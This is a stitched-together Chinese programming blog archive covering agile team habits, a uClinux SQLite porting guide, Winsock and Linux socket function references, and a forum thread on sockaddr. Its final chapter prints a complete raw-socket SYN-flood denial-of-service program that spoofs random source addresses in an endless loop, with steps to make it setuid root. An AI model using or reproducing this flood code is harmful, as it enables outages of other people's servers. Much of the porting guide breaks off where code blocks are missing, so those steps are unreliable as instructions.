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2月20日 如何构建一个敏捷的开发团队1、敏捷的团队建设,确实是一个渐进的过程。好像没有那个团体是一下子就自动产生,大家只有在比较长期的磨合中,才能达到某种默契。 2、在磨合的过程中,有一个良好的习惯养成,同样也很重要。在这方面Schelemiel如斯说:“敏捷团队最要紧的是每个成员的习惯。把持续集成、测试驱动、重构、结对、短会议、每周40小时……这些习惯培养好了之后,团队的建设基本上就成形了。” 3、而在习惯如何养成上也是有很多方法的,比如某种激励或者惩罚,但是我相信大家也许更能赞同以下几个人的说法吧:),Schelemiel:“敏捷团队 对于leader的要求会更高,因为你无法像带一支CMM团队那样参考大量的正式文档和度量,你必须更多地依赖自己的才华、人格和直觉。”; scalene:“以有经验的人为骨架,寻找有纪律性的新人,建设一支稳定的团队”;而我说:“一个敏捷团体习惯的养成,不是靠强制,也不是靠奖励等,确 实需要靠一些潜移默化的东西来引导。”。我想不同的团体都有其自己的养成好习惯的方法。 4、每个成员都应该对敏捷开发基本步骤有所了解吧,计划游戏,隐喻(metaphor),持续集成、测试驱动、结对、短会议、每周40小时…… 5、我想每个成员对常用的敏捷技巧都要熟知吧,象重构,面向对象设计原则(OCP等),设计模式,测试驱动开发(TDD)。 2月19日 ucLinux下sqlite嵌入式数据库移植全攻略(3)四、修改sqlite/src/shell.c 1、struct previous_mode_data 结构定义项: 将 int colWidth[100]; 用 int colWidth[20]; 替换。 2、struct callback_data 结构定义项 将:
替换。
ucLinux下sqlite嵌入式数据库移植全攻略(2)二、在sqlite下增加Makefile文件 在sqlite目录下应该没有Makefile文件,而只是有一个sqlite/Makefile.linux-gcc文件。我们要移植sqlite到uclinux,那么就要自己写一个合适的Makefile。 内容如下:
注:
ucLinux下sqlite嵌入式数据库移植全攻略(1)本文讨论的是比较流行的嵌入式开发组合ARM+uclinux,即目标开发板为三星S3C4510,完成sqlite在其uclinux上的移植。 本文假设你已经具备正确编译uclinux的kernel的能力,即有能力完成make menuconfig;make dep;make lib_only;make user_only;make romfs;make image;make。而且还能将自己写的类似helloworld程序加到“用户自定义应用程序”中,即你能完成“uClinux-dist/Documentation/Adding-User-Apps-HOWTO”中所描述的“用户程序的订制”。 大多数需要移植sqlite到uclinux的开发者,应该已经具备上面的能力,而只是不清楚如何修改sqlite来完成其在uclinux下的编译。如果你还不能完成上面的要求,那么请先做一定的准备工作,因为本范例所涉及到的内容主要是跟sqlite在uclinux下的移植有关,其他的在这个过程中出现的问题,开发者需要自行处理。 本范例使用的uclinux是uClinux-dist-20030522.tar.gz,你可以从http://www.uclinux.org得到适合你的软件包。 交叉编译工具是arm-elf-tools-20030314.sh,你也可以在http://www.uclinux.org找到它。 本范例使用的sqlite是sqlite-2.8.15.tar.gz,本文的方法也适合于2.8.x系列的sqlite;可能有部分内容不适用于3.0.x系列的sqlite,因为3.0.x中源代码有较大的变化。 1、 下载sqlite:你可以到http://www.sqlite.org/download.html,下载sqlite-2.8.15.tar.gz软件包; 2、 将下载的软件包解压缩到uClinux-dist/user目录下; 命令:
现在在uclinux的user目录下,你应该可以看到sqlite目录了。解压缩到这个user目录主要是要将sqlite编译成一个普通的用户应用程序。 3、 用户应用程序的有关设置: 按uClinux-dist/Documentation/Adding-User-Apps-HOWTO文档中说提到的,来添加sqlite作为一个用户应用程序,将其做成一个shell,这样就类似于uclinux自己的ps命令。 编辑文件
我是在这些文件里查找“cpu”有关的项,然后在它的下面,加上自己的sqlite项,这个过程并不复杂。 通过上面的修改后,你现在就可以运行uclinux的make menuconfig,选中“CustomizeVendor/User Settings”,再选中“Miscellaneous Applications”,可以看到它现在出现了一个新的“sqlite (NEW)”,这个就是我们刚添加进去的sqlite项。 在稍后的make romfs中,uclinux会将你的sqlite编译进来,做成romfs的一部分,因为你在uClinux-dist/user/Makefile中已经加上要编译sqlite项了。这样在移植后的uclinux的/bin中将会有sqlite命令可以让你来执行。 好,现在我们就要对sqlite进行修改,来做移植工作。 在下面的描述中,我们将对以下几个文件进行一定的添加、修改,从而来完成sqlite在uclinux下的编译:
一、修改sqlite/main.mk
修改为
即加上$(CFLAGS)标记。 2、 LIBOBJ 找到 # Object files for the SQLite library. 将其中的tclsqlite.o去掉。即去掉tcl有关的东西。 如果没有tclsqlite.o,那么不用处理它。 3、 sqlite$(EXE) 找到类似sqlite$(EXE)的一句,将:
替换为:
即在sqlite$(EXE)上一行加上shell.o,及在其后加上$(LDLIBS)标记。这个是对/src/shell.c的编译方法的修改。 4、romfs 将:
替换为:
即去掉make install项,加上make romfs项。 这个很重要,这将在romfs的/bin目录下生成sqlite。 5、clean 将:
替换为:
与socket有关的一些函数介绍1、读取当前错误值:每次发生错误时,如果要对具体问题进行处理,那么就应该调用这个函数取得错误代码。 int WSAGetLastError(void ); #define h_errno WSAGetLastError() 错误值请自己阅读Winsock2.h。 2、将主机的unsigned long值转换为网络字节顺序(32位):为什么要这样做呢?因为不同的计算机使用不同的字节顺序存储数据。因此任何从Winsock函数对IP地址和端口号的引用和传给Winsock函数的IP地址和端口号均时按照网络顺序组织的。 u_long htonl(u_long hostlong); 举例:htonl(0)=0 htonl(80)= 1342177280 3、将unsigned long数从网络字节顺序转换位主机字节顺序,是上面函数的逆函数。 u_long ntohl(u_long netlong); 举例:ntohl(0)=0 ntohl(1342177280)= 80 4、将主机的unsigned short值转换为网络字节顺序(16位):原因同2: u_short htons(u_short hostshort); 举例:htonl(0)=0 htonl(80)= 20480 5、将unsigned short数从网络字节顺序转换位主机字节顺序,是上面函数的逆函数。 u_short ntohs(u_short netshort); 举例:ntohs(0)=0 ntohsl(20480)= 80 6、将用点分割的IP地址转换位一个in_addr结构的地址,这个结构的定义见笔记(一),实际上就是一个unsigned long值。计算机内部处理IP地址可是不认识如192.1.8.84之类的数据。 unsigned long inet_addr( const char FAR * cp ); 举例:inet_addr("192.1.8.84")=1409810880 inet_addr("127.0.0.1")= 16777343 如果发生错误,函数返回INADDR_NONE值。 7、将网络地址转换位用点分割的IP地址,是上面函数的逆函数。 char FAR * inet_ntoa( struct in_addr in ); 举例:char * ipaddr=NULL; char addr[20]; in_addr inaddr; inaddr. s_addr=16777343; ipaddr= inet_ntoa(inaddr); strcpy(addr,ipaddr); 这样addr的值就变为127.0.0.1。 注意意不要修改返回值或者进行释放动作。如果函数失败就会返回NULL值。 8、获取套接字的本地地址结构: int getsockname(SOCKET s, struct sockaddr FAR * name, int FAR * namelen ); s为套接字 name为函数调用后获得的地址值 namelen为缓冲区的大小。 9、获取与套接字相连的端地址结构: int getpeername(SOCKET s, struct sockaddr FAR * name, int FAR * namelen ); s为套接字 name为函数调用后获得的端地址值 namelen为缓冲区的大小。 10、获取计算机名: int gethostname( char FAR * name, int namelen ); name是存放计算机名的缓冲区 namelen是缓冲区的大小 用法: char szName[255]; memset(szName,0,255); if(gethostname(szName,255)==SOCKET_ERROR) { //错误处理 } 返回值为:szNmae="xiaojin" 11、根据计算机名获取主机地址: struct hostent FAR * gethostbyname( const char FAR * name ); name为计算机名。 用法: hostent * host; char* ip; host= gethostbyname("xiaojin"); if(host->h_addr_list[0]) { struct in_addr addr; memmove(&addr, host->h_addr_list[0],4); //获得标准IP地址 ip=inet_ ntoa (addr); } 返回值为:hostent->h_name="xiaojin" hostent->h_addrtype=2 //AF_INET hostent->length=4 ip="127.0.0.1" 菜鸟提问:结构体sockaddr_in和sockaddr用法的问题lb_20016
菜鸟提问:结构体sockaddr_in和sockaddr用法的问题
按资料上说sockaddr是通用套接口地址结构,我想问的是为什么在建立socket的时候是用sockaddr_in结构体,而在bind中用的是sockaddr,感觉好象是一下子用这个结构,一下子又用另一个结构,有哪位能给我解释一下吗? 谢谢!!!
2003-3-10 09:50
liangtf
菜鸟提问:结构体sockaddr_in和sockaddr用法的问题 sockaddr 包括 sockaddr_in和sockaddr_un等 前者用于inet(网络)后者用于unix文件。
2003-3-10 09:58
lb_20016
菜鸟提问:结构体sockaddr_in和sockaddr用法的问题 那为什么在bind中全都是用sockaddr?可以换成sockaddr_in吗? 还有就是在int bind(int sockfd, struct sockaddr *my_addr, int addrlen) 中,定义了一个指针my_addr,那在实际程序应用中有一句: if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1),我实在看不明白(struct sockaddr *)(&server_addr) 也是定义了一个指针吗?好象都没有见过这种形式的定义,哪位知道吗?
2003-3-10 10:35
蓝色键盘
菜鸟提问:结构体sockaddr_in和sockaddr用法的问题 IPv4和IPv6都属于网际协议(所有的网际协议由多个RFC定义),其版本有0、1、2、3和5,但是比较通用的是版本4和6。 版本4是80年代以后使用的比较广泛的主力协议,版本4使用32位的地址结构,主要给TCP、UDP、ICMP和IGMP提供传输分组的服务。 版本6是90年代中期设计出来的,主要变化是使用了128位的大地址结构,版本6主要给TCP、UDP和ICMPv6提供传输分组的服务。 在目前的应用中,有同时支持IPv4和IPv6的,一般称其为“IPv4/IPv6主机”或者"双栈主机"。 对于这两种协议之间的差别,可以到相关的系统中去察看,一般的在/usr/include/netinet/in.h中,各个系统定义的不尽相同,比如对 于结构sockaddr_in中成员sin_len,sin_family和sin_port的数据类型的定义在很多unix系统中的定义有一定的差别, 不过对于使用者来说,你只要关心它的大小就可以了,至于到底定义为哪一种类型,同样的可以到系统头文件中可以找得到。在Posix.1g中定义的套接口地 址结构如下: IPv4的定义: struct in_addr { in_addr_t s_addr; }; struct sockaddr_in{ unit8_t sin_len; sa_family_t sin_family; in_port_t sin_port; struct in_addr sin_addr; char sin_zero[8]; }; 其中成员sin_zero暂时没有使用到,用来扩充功能,一般在使用时将其初始化为0,事实上,Posix.1g只需要这个结构中的三个成员 sin_family、sin_port和sin_addr,加入其他的两项完全是为了兼容性考虑的。在此强调,这个结构中重要的是结构的大小至少要求 16字节,每个具体的成员的大小,请到你的系统中去察看,这里不再赘述。 需要说明的是:在实际的网络通讯中,该结构并不参与通信,尽管成员sin_port和sin_addr用在不同主机间的通信中。 IPv6的定义: struct in6_addr { unit8_t s6_addr[16]; }; #define SIN6_LEN struct sockaddr_in6{ unit8_t sin6_len; sa_family_t sin6_family; in_port_t sin6_port; unit32_t sin6_flowinfo; struct in6_addr sin6_addr; }; 该结构比较特殊的是成员sin6_flowinfo,事实上该成员的32位用来表示不同的含义,如流量控制(低24位)、优先级(下4位)等。 以上所定义的结构,在我们实际的网络编程中,往往要作为某一个套接口函数的参数来使用,由于历史的原因和为了消除特定协议之间的差别,引入了所谓的通用套接口地址结构,定义如下: struct sockaddr { unit8_t sa_len; sa_family_t sa_family; char sa_data[14]; }; 该结构一般的定义在/usr/include/sys/socket.h中,并且在很多系统中套接口函数原型的定义也使用该通用结构,如 int bind(int s, const struct sockaddr *addr, socklen_t addrlen);,这样在我们编写程序的时候,需要将只想特定协议的地址结构的指针类型转化为该通用套接口地址结构,例如: struct sockaddr_in testserv; /* other code */ if( ( ret = connect( sockfd, (struct sockaddr * )&testserv,sizeof( testserv ) ) ) < 0 ) { close(sockfd); if( errno == EINTR ) { errno = ETIMEDOUT; continue; } } /* other code */ 以上简单的描述了IPb4和IPv6地址结构之间的差别,以及通用地址结构的使用,不知是否满意楼上所问。
2003-3-10 10:54
lb_20016
菜鸟提问:结构体sockaddr_in和sockaddr用法的问题 非常感谢!!!!! 有机会请你去喝酒!!
2003-3-10 11:27
waitingfly
菜鸟提问:结构体sockaddr_in和sockaddr用法的问题 我只知道bind函数中的第二个参数:struct sockaddr *my_addr是bind给套接字s赋予本地地址my_addr.
2004-5-21 17:39
itisok96
菜鸟提问:结构体sockaddr_in和sockaddr用法的问题 their_addr.sin_addr = * ((struct in_addr*)he->;h_addr); 报错: dereferencing pointer to incomplete type 我在he的结构 struct hostent *里没有找到h_addr 在netdb.h里有: /* Description of data base entry for a single host. */ struct hostent { char *h_name; /* Official name of host. */ char **h_aliases; /* Alias list. */ int h_addrtype; /* Host address type. */ int h_length; /* Length of address. */ char **h_addr_list; /* List of addresses from name server. */ #define h_addr h_addr_list[0] /* Address, for backward compatibility. */ }; sockaddr (1)struct sockaddr_in { sin_family字段必须设为AF_INET,以告知sock我们此时正在使用IP地址家族
The in_addr structure represents a host by its Internet address. typedef struct in_addr Linux C Socket Quick Reference[Copy] Linux C Socket Quick Reference关键字: bsd
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1. accept(接受socket连线) 相关函数 socket,bind,listen,connect 表头文件 #include<sys/types.h> #include<sys/socket.h> 定义函数 int accept(int s,struct sockaddr * addr,int * addrlen); 函数说明 accept ()用来接受参数s的socket连线。参数s的socket必需先经bind()、listen()函数处理过,当有连线进来时accept()会返回 一个新的socket处理代码,往后的数据传送与读取就是经由新的socket处理,而原来参数s的socket能继续使用accept()来接受新的连 线要求。连线成功时,参数addr所指的结构会被系统填入远程主机的地址数据,参数addrlen为scokaddr的结构长度。关于结构 sockaddr的定义请参考bind()。 返回值 成功则返回新的socket处理代码,失败返回-1,错误原因存于errno中。 错误代码
范例 参考listen()。 2. bind(对socket定位) 相关函数 socket,accept,connect,listen 表头文件 #include<sys/types.h> #include<sys/socket.h> 定义函数 int bind(int sockfd,struct sockaddr * my_addr,int addrlen); 函数说明 bind()用来设置给参数sockfd的socket一个名称。此名称由参数my_addr指向一sockaddr结构,对于不同的socket domain定义了一个通用的数据结构 sa_family 为调用socket()时的domain参数,即AF_xxxx值。 sa_data 最多使用14个字符长度。 此sockaddr结构会因使用不同的socket domain而有不同结构定义,例如使用AF_INET domain,其socketaddr结构定义便为
sin_family 即为sa_family sin_port 为使用的port编号 sin_addr.s_addr 为IP 地址 sin_zero 未使用。 参数 addrlen为sockaddr的结构长度。 返回值 成功则返回0,失败返回-1,错误原因存于errno中。 错误代码
范例 参考listen() 3. connect(建立socket连线) 相关函数 socket,bind,listen 表头文件 #include<sys/types.h> #include<sys/socket.h> 定义函数 int connect (int sockfd,struct sockaddr * serv_addr,int addrlen); 函数说明 connect()用来将参数sockfd 的socket 连至参数serv_addr 指定的网络地址。结构sockaddr请参考bind()。参数addrlen为sockaddr的结构长度。 返回值 成功则返回0,失败返回-1,错误原因存于errno中。 错误代码
范例
执行 $ ./connect Welcome to server! hi I am client! /*键盘输入*/ /*<Ctrl+C>中断程序*/ 4. endprotoent(结束网络协议数据的读取) 相关函数 getprotoent,getprotobyname,getprotobynumber,setprotoent 表头文件 #include<netdb.h> 定义函数 void endprotoent(void); 函数说明 endprotoent()用来关闭由getprotoent()打开的文件。 返回值 范例 参考getprotoent() 5. endservent(结束网络服务数据的读取) 相关函数 getservent,getservbyname,getservbyport,setservent 表头文件 #include<netdb.h> 定义函数 void endservent(void); 函数说明 endservent()用来关闭由getservent()所打开的文件。 返回值 范例 参考getservent()。 6. getsockopt(取得socket状态) 相关函数 setsockopt 表头文件 #include<sys/types.h> #include<sys/socket.h> 定义函数 int getsockopt(int s,int level,int optname,void* optval,socklen_t* optlen); 函数说明 getsockopt()会将参数s所指定的socket状态返回。参数optname代表欲取得何种选项状态,而参数optval则指向欲保存结果的内 存地址,参数optlen则为该空间的大小。参数level、optname请参考setsockopt()。 返回值 成功则返回0,若有错误则返回-1,错误原因存于errno 错误代码
范例
执行 optval = 1 /*SOCK_STREAM的定义正是此值*/ 7. htonl(将32位主机字符顺序转换成网络字符顺序) 相关函数 htons,ntohl,ntohs 表头文件 #include<netinet/in.h> 定义函数 unsigned long int htonl(unsigned long int hostlong); 函数说明 htonl()用来将参数指定的32位hostlong 转换成网络字符顺序。 返回值 返回对应的网络字符顺序。 范例 参考getservbyport()或connect()。 8. htons(将16位主机字符顺序转换成网络字符顺序) 相关函数 htonl,ntohl,ntohs 表头文件 #include<netinet/in.h> 定义函数 unsigned short int htons(unsigned short int hostshort); 函数说明 htons()用来将参数指定的16位hostshort转换成网络字符顺序。 返回值 返回对应的网络字符顺序。 范例 参考connect()。 9. inet_addr(将网络地址转成二进制的数字) 相关函数 inet_aton,inet_ntoa 表头文件 #include<sys/socket.h> #include<netinet/in.h> #include<arpa/inet.h> 定义函数 unsigned long int inet_addr(const char *cp); 函数说明 inet_addr()用来将参数cp所指的网络地址字符串转换成网络所使用的二进制数字。网络地址字符串是以数字和点组成的字符串,例如:“163.13.132.68”。 返回值 成功则返回对应的网络二进制的数字,失败返回-1。 10. inet_aton(将网络地址转成网络二进制的数字) 相关函数 inet_addr,inet_ntoa 表头文件 #include<sys/scoket.h> #include<netinet/in.h> #include<arpa/inet.h> 定义函数 int inet_aton(const char * cp,struct in_addr *inp); 函数说明 inet_aton()用来将参数cp所指的网络地址字符串转换成网络使用的二进制的数字,然后存于参数inp所指的in_addr结构中。 结构in_addr定义如下 返回值 成功则返回非0值,失败则返回0。 11. inet_ntoa(将网络二进制的数字转换成网络地址) 相关函数 inet_addr,inet_aton 表头文件 #include<sys/socket.h> #include<netinet/in.h> #include<arpa/inet.h> 定义函数 char * inet_ntoa(struct in_addr in); 函数说明 inet_ntoa()用来将参数in所指的网络二进制的数字转换成网络地址,然后将指向此网络地址字符串的指针返回。 返回值 成功则返回字符串指针,失败则返回NULL。 12. listen(等待连接) 相关函数 socket,bind,accept,connect 表头文件 #include<sys/socket.h> 定义函数 int listen(int s,int backlog); 函数说明 listen ()用来等待参数s 的socket连线。参数backlog指定同时能处理的最大连接要求,如果连接数目达此上限则client端将收到ECONNREFUSED的错误。 Listen()并未开始接收连线,只是设置socket为listen模式,真正接收client端连线的是accept()。通常listen()会 在socket(),bind()之后调用,接着才调用accept()。 返回值 成功则返回0,失败返回-1,错误原因存于errno 附加说明 listen()只适用SOCK_STREAM或SOCK_SEQPACKET的socket类型。如果socket为AF_INET则参数backlog 最大值可设至128。 错误代码
范例
执行 $ ./listen connect from 127.0.0.1 hi I am client connected closed. 13. ntohl(将32位网络字符顺序转换成主机字符顺序) 相关函数 htonl,htons,ntohs 表头文件 #include<netinet/in.h> 定义函数 unsigned long int ntohl(unsigned long int netlong); 函数说明 ntohl()用来将参数指定的32位netlong转换成主机字符顺序。 返回值 返回对应的主机字符顺序。 范例 参考getservent()。 14. ntohs(将16位网络字符顺序转换成主机字符顺序) 相关函数 htonl,htons,ntohl 表头文件 #include<netinet/in.h> 定义函数 unsigned short int ntohs(unsigned short int netshort); 函数说明 ntohs()用来将参数指定的16位netshort转换成主机字符顺序。 返回值 返回对应的主机顺序。 范例 参考getservent()。 15. recv(经socket接收数据) 相关函数 recvfrom,recvmsg,send,sendto,socket 表头文件 #include<sys/types.h> #include<sys/socket.h> 定义函数 int recv(int s,void *buf,int len,unsigned int flags); 函数说明 recv()用来接收远端主机经指定的socket传来的数据,并把数据存到由参数buf 指向的内存空间,参数len为可接收数据的最大长度。 参数 flags一般设0。其他数值定义如下:
错误代码
范例 参考listen()。 16. recvfrom(经socket接收数据) 相关函数 recv,recvmsg,send,sendto,socket 表头文件 #include<sys/types.h> #include<sys/socket.h> 定义函数 int recvfrom(int s,void *buf,int len,unsigned int flags ,struct sockaddr *from ,int *fromlen); 函数说明 recv ()用来接收远程主机经指定的socket 传来的数据,并把数据存到由参数buf 指向的内存空间,参数len 为可接收数据的最大长度。参数flags 一般设0,其他数值定义请参考recv()。参数from用来指定欲传送的网络地址,结构sockaddr 请参考bind()。参数fromlen为sockaddr的结构长度。 返回值 成功则返回接收到的字符数,失败则返回-1,错误原因存于errno中。 错误代码
范例
执行 (先执行udp server 再执行udp client) hello /*从键盘输入字符串*/ receive: hello /*server端返回来的字符串*/ 17. recvmsg(经socket接收数据) 相关函数 recv,recvfrom,send,sendto,sendmsg,socket 表头文件 #include<sys/types.h> #include<sys/socktet.h> 定义函数 int recvmsg(int s,struct msghdr *msg,unsigned int flags); 函数说明 recvmsg ()用来接收远程主机经指定的socket传来的数据。参数s为已建立好连线的socket,如果利用UDP协议则不需经过连线操作。参数msg指向欲连 线的数据结构内容,参数flags一般设0,详细描述请参考send()。关于结构msghdr的定义请参考sendmsg()。 返回值 成功则返回接收到的字符数,失败则返回-1,错误原因存于errno中。 错误代码
范例 参考recvfrom()。 18. send(经socket传送数据) 相关函数 sendto,sendmsg,recv,recvfrom,socket 表头文件 #include<sys/types.h> #include<sys/socket.h> 定义函数 int send(int s,const void * msg,int len,unsigned int falgs); 函数说明 send()用来将数据由指定的socket 传给对方主机。参数s为已建立好连接的socket。参数msg指向欲连线的数据内容,参数len则为数据长度。参数flags一般设0,其他数值定义如下 MSG_OOB 传送的数据以out-of-band 送出。 MSG_DONTROUTE 取消路由表查询 MSG_DONTWAIT 设置为不可阻断运作 MSG_NOSIGNAL 此动作不愿被SIGPIPE 信号中断。 返回值 成功则返回实际传送出去的字符数,失败返回-1。错误原因存于errno 错误代码
范例 参考connect() 19. sendmsg(经socket传送数据) 相关函数 send,sendto,recv,recvfrom,recvmsg,socket 表头文件 #include<sys/types.h> #include<sys/socket.h> 定义函数 int sendmsg(int s,const strcut msghdr *msg,unsigned int flags); 函数说明 sendmsg()用来将数据由指定的socket传给对方主机。参数s为已建立好连线的socket,如果利用UDP协议则不需经过连线操作。参数msg 指向欲连线的数据结构内容,参数flags一般默认为0,详细描述请参考send()。 结构msghdr定义如下
返回值 成功则返回实际传送出去的字符数,失败返回-1,错误原因存于errno 错误代码
范例 参考sendto()。 20. sendto(经socket传送数据) 相关函数 send , sendmsg,recv , recvfrom , socket 表头文件 #include < sys/types.h > #include < sys/socket.h > 定义函数 int sendto ( int s , const void * msg, int len, unsigned int flags, const struct sockaddr * to , int tolen ) ; 函数说明 sendto() 用来将数据由指定的socket传给对方主机。参数s为已建好连线的socket,如果利用UDP协议则不需经过连线操作。参数msg指向欲连线的数据内 容,参数flags 一般设0,详细描述请参考send()。参数to用来指定欲传送的网络地址,结构sockaddr请参考bind()。参数tolen为sockaddr 的结果长度。 返回值 成功则返回实际传送出去的字符数,失败返回-1,错误原因存于errno 中。 错误代码
范例
执行 请参考recvfrom() 21. setprotoent(打开网络协议的数据文件) 相关函数 getprotobyname, getprotobynumber, endprotoent 表头文件 #include <netdb.h> 定义函数 void setprotoent (int stayopen); 函数说明 setprotoent()用来打开/etc/protocols, 如果参数stayopen值为1,则接下来的getprotobyname()或getprotobynumber()将不会自动关闭此文件。 22. setservent(打开主机网络服务的数据文件) 相关函数 getservent, getservbyname, getservbyport, endservent 表头文件 #include < netdb.h > 定义函数 void setservent (int stayopen); 函数说明 setservent()用来打开/etc/services,如果参数stayopen值为1,则接下来的getservbyname()或getservbyport()将补回自动关闭文件。 23. setsockopt(设置socket状态) 相关函数 getsockopt 表头文件 #include<sys/types.h> #include<sys/socket.h> 定义函数 int setsockopt(int s,int level,int optname,const void * optval,,socklen_toptlen); 函数说明 setsockopt()用来设置参数s所指定的socket状态。参数level代表欲设置的网络层,一般设成SOL_SOCKET以存取socket层。参数optname代表欲设置的选项,有下列几种数值:
参数 optval代表欲设置的值,参数optlen则为optval的长度。 返回值 成功则返回0,若有错误则返回-1,错误原因存于errno。 附加说明 EBADF 参数s并非合法的socket处理代码 ENOTSOCK 参数s为一文件描述词,非socket ENOPROTOOPT 参数optname指定的选项不正确。 EFAULT 参数optval指针指向无法存取的内存空间。 范例 参考getsockopt()。 24. shutdown(终止socket通信) 相关函数 socket,connect 表头文件 #include<sys/socket.h> 定义函数 int shutdown(int s,int how); 函数说明 shutdown()用来终止参数s所指定的socket连线。参数s是连线中的socket处理代码,参数how有下列几种情况: how=0 终止读取操作。 how=1 终止传送操作 how=2 终止读取及传送操作 返回值 成功则返回0,失败返回-1,错误原因存于errno。 错误代码
25. socket(建立一个socket通信) 相关函数 accept,bind,connect,listen 表头文件 #include<sys/types.h> #include<sys/socket.h> 定义函数 int socket(int domain,int type,int protocol); 函数说明 socket()用来建立一个新的socket,也就是向系统注册,通知系统建立一通信端口。参数domain 指定使用何种的地址类型,完整的定义在/usr/include/bits/socket.h 内,底下是常见的协议:
参数 type有下列几种数值:
返回值 成功则返回socket处理代码,失败返回-1。 错误代码
范例 参考connect()。 Linux网络编程--10. 原始套接字 --11. 后记10. 原始套接字
我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种 套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有 root权限的人创建. 10.1 原始套接字的创建 int sockfd(AF_INET,SOCK_RAW,protocol) 可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用 10.2 一个原始套接字的实例 还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码 /******************** DOS.c *****************/ #include #include #include #include #include #include #include #include #include #define DESTPORT 80 /* 要攻击的端口(WEB) */ #define LOCALPORT 8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; if(argc!=2) { fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); if(inet_aton(argv[1],&addr.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/ sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); exit(1); } /******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/ setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/ setuid(getpid()); /********* 发送炸弹了!!!! ****/ send_tcp(sockfd,&addr); } /******* 发送炸弹的实现 *********/ void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; /**** 用来放置我们的数据包 ****/ struct ip *ip; struct tcphdr *tcp; int head_len; /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/ head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100); /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ ip=(struct ip *)buffer; ip->ip_v=IPVERSION; /** 版本一般的是 4 **/ ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/ ip->ip_tos=0; /** 服务类型 **/ ip->ip_len=htons(head_len); /** IP数据包的长度 **/ ip->ip_id=0; /** 让系统去填写吧 **/ ip->ip_off=0; /** 和上面一样,省点时间 **/ ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/ ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/ ip->ip_sum=0; /** 校验和让系统去做 **/ ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/ /******* 开始填写TCP数据包 *****/ tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port; /** 目的端口 **/ tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1; /** 我要建立连接 **/ tcp->check=0; /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ while(1) { /** 你不知道我是从那里来的,慢慢的去等吧! **/ ip->ip_src.s_addr=random(); /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ /** 下面这条可有可无 */ tcp->check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); } } /* 下面是首部校验和的算法,偷了别人的 */ unsigned short check_sum(unsigned short *addr,int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } 编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位 [root@hoyt /root]#chown root DOS [root@hoyt /root]#chmod +s DOS 10.3 总结 原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个 TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP 头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址, 所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的. -------------------------------------------------------------------------------- 11. 后记 总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步. 如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走. 网络程序一般的来说都是多 进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件 处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学 的东西还很多很多. 看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写的. 不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们就还有希望. 